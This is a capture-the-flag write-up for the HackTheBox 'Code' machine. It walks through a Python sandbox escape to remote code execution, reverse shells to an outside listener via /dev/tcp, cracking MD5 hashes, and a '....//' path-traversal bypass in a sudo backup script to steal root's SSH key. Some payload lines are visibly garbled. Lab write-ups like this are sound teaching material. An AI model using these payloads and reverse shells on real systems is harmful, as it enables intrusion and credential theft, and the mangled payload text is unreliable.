A writeup for the HackTheBox machine "Code," an easy Linux box. The initial foothold is a remote code execution vulnerability in a Python code editor web application. The privilege escalation involves cracking user credentials from an SQLite database and then exploiting a command injection vulnerability in a sudo-enabled backup script to read the root flag.
Quick Metadata
| Item | Value |
|---|---|
| Machine | Code |
| Difficulty | Easy |
| IP | 10.10.10.10 |
| OS | Linux |
| Primary Vulns | RCE, Command Injection |
Exploitation Chain (High-Level)
- Web enumeration reveals a Python code editor.
- Exploit a Python jail bypass to achieve RCE and get an
app-productionshell. - Discover and crack user hashes from an SQLite database.
- Use a cracked password to SSH as user
martin. - Exploit a command injection vulnerability in a sudo-enabled script to read the root flag and get a root shell.
Pre-Reqs
- Tooling:
nmap,sqlite3,hashcat,ssh,jq - Skills: Web enumeration, Python scripting, hash cracking, file permissions, command injection
Skills Required
- Basic Enumeration
- Python Scripting
- Hash Cracking
Skills Learned
- Python Jail Bypass
- Command Injection
backy.shscript analysis
Enumeration
Network Scan
The initial Nmap scan reveals two open ports: SSH on 22 and an HTTP service on 5000. The web service is running Gunicorn 20.0.4 and hosts a "Python Code Editor."
Ports discovered:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Gunicorn 20.0.4
Nmap Commands
nmap -Pn -sC -sV -oN scans/initial.nmap 10.10.10.10
Add the target's domain to the /etc/hosts file to simplify web enumeration.
echo "10.10.10.10 code.htb" | sudo tee -a /etc/hosts
Web Enumeration (if applicable)
Visiting http://code.htb:5000 shows a Python Code Editor. The application allows users to write and run Python code in a sandboxed environment. There are also options to register, log in, and save code.
Key observations:
- The website is a Python Code Editor.
- The
Runfunction attempts to execute user-provided Python code.
Service-Specific Enumeration
No other services were found. The focus is on the web application on port 5000.
Credentials / Artifacts Discovered
| Stage | Credential / Token | Usage |
|---|---|---|
| Lateral | development:development |
DB entry, not used on machine |
| Lateral | martin:nafeelswordsmaster |
SSH login |
Foothold
Initial Vulnerability (e.g., LFI / RCE / File Upload / SQLi)
Attempting to use import os or os.system() in the code editor is blocked by a filter that prevents the use of restricted keywords. A Python Jail Bypass technique is required to achieve remote code execution. The bypass involves using Python's object introspection to access the os.system function without using the import or os keywords directly.
The payload uses _subclasses_() to find the Quitter class, then accesses sys.modules through its _init_ method, and finally retrieves os.system using string concatenation to bypass the keyword filter.
[w for win 1._ class _ base _ subclasses_() if w._name__ =='Quitter'][0]._init_globals_['sy'+'s'].modules['o'+'s']._dict_['sy'+'stem']('whoami')
This command doesn't return output to the web page, so the output is redirected to a Netcat listener.
## Listener
nc -lvnp 9001
[w for win 1._ class _ base _ subclasses_ () if w._ name=='Quitter'][0]._init_globals_ ['sy'+'s'].modules['o'+'s']._dict_ ['sy'+'stem']('whoami > /dev/tcp/11.11.11.11/9001 0>&1')
The listener receives the output, confirming code execution as the app-production user.
Shell Stabilization
A reverse shell is obtained using the same Python jail bypass method.
## Listener
nc -lvnp 9001
## Trigger
[w for win 1._ class _ base_subclasses_() if w._ name=='Quitter'][0]._init_globals_['sy'+'s'].modules['o'+'s']._dict_['sy'+'stem']('bash -c "bash -i >& /dev/tcp/11.11.11.11/9001 0>&1"')
Result: shell as app-production.
Lateral Movement
Enumeration as Low-Priv User
A search for configuration files or databases in the app-production user's home directory reveals a database.db SQLite file inside the ~/app/instance folder.
app-production@code:~/app/instance$ ls -la
total 24
drwxr-xr-x 2 app-production app-production 4096 Feb 20 12:32 .
drwxrwxr-x 6 app-production app-production 4096 Feb 20 12:10 ..
-rw-r--r-- 1 app-production app-production 16384 Jun 13 10:30 database.db
Credential Harvest / Reuse
The database.db file is an SQLite database containing user information.
Extracting the hashes from the user table reveals two users: development and martin.
app-production@code:~/app/instance$ sqlite3 database.db
sqlite> .tables
code user
sqlite> select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be
The hashes are MD5. They are cracked using hashcat with a wordlist.
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat reveals the credentials:
development:developmentmartin:nafeelswordsmaster
Pivot Technique (e.g., SSH Key, Pass-the-Hash, WinRM)
A check of the /etc/passwd file shows that martin is a valid system user. The discovered password nafeelswordsmaster can be used to log in via SSH.
ssh [email protected]
[email protected]'s password: nafeelswordsmaster
Privilege Escalation
Vector 1: Command Injection
As the martin user, running sudo -l shows that the user can execute /usr/bin/backy.sh with NOPASSWD.
martin@code:~$ sudo -l
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
An analysis of backy.sh reveals a command injection vulnerability. The script uses jq to sanitize directory paths, specifically removing ../ substrings. However, it's not a recursive replacement. This allows a path traversal bypass by using ....//, which becomes ../ after the first sanitization pass, allowing the script to access forbidden directories.
The following task.json is crafted to archive the /root directory.
{
"destination": "/tmp",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/....//root/"
]
}
The script is executed with sudo, and it successfully creates an archive of the root directory in /tmp.
martin@code:~/backups$ sudo /usr/bin/backy.sh task.json
The tar archive is extracted in /tmp.
martin@code:/tmp$ tar -xvf code_home_.._root_2025_June.tar.bz2
The extracted root directory now contains all files from /root, accessible to martin.
Post-Exploitation (Hashes / Loot)
The extracted /tmp/root directory contains the root flag and the root user's SSH private key. This key can be used to get a root shell.
martin@code:/tmp/root$ cat .ssh/id_rsa
The private key is copied to the attacker machine, permissions are set, and it is used to log in as root.
chmod 600 root.key
ssh -i root.key [email protected]
Root Flag
The root flag is located in /root/root.txt.
root@code:/root# cat root.txt
Hash / Flag: {REDACTED}
Summary
- Recon: Discovered a Python Code Editor web application on port 5000.
- Foothold: Bypassed a Python sandbox using string concatenation and object introspection to achieve RCE and get a shell as
app-production. - Lateral: Found and cracked MD5 password hashes in an SQLite database, leading to SSH access as the user
martin. - Privilege Escalation: Exploited a non-recursive path traversal vulnerability in a sudo-enabled
backy.shscript to archive the/rootdirectory. - Domination: Extracted the root SSH key from the archive and used it to log in as root.
Lessons Learned
- Python's object model can be abused to bypass keyword filters in sandboxes.
- Non-recursive string replacement functions can be bypassed with clever encoding.
- Always check for credentials in application databases.